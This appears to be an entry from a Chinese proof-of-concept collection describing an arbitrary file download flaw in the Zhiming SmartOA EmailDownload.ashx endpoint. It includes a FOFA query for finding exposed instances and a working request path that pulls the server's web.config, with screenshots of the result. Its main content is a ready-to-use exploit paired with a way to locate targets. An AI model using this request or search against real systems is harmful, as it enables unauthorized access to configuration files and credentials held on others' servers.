Awesome-POC/OA产品漏洞/智明 SmartOA EmailDownload.ashx 任意文件下载漏洞.md

# 智明 SmartOA EmailDownload.ashx 任意文件下载漏洞

## 漏洞描述

智明 SmartOA EmailDownload.ashx文件存在任意文件下载漏洞，通过漏洞可下载服务器上的敏感文件，查看敏感信息

## 漏洞影响

```
智明 SmartOA
```

## FOFA

```
app="智明协同-SmartOA"
```

## 漏洞复现

登录页面

![image-20220520133519986](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205201335202.png)

验证POC

```
/file/EmailDownload.ashx?url=~/web.config&name=web.config
```

![image-20220520133538762](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205201335862.png)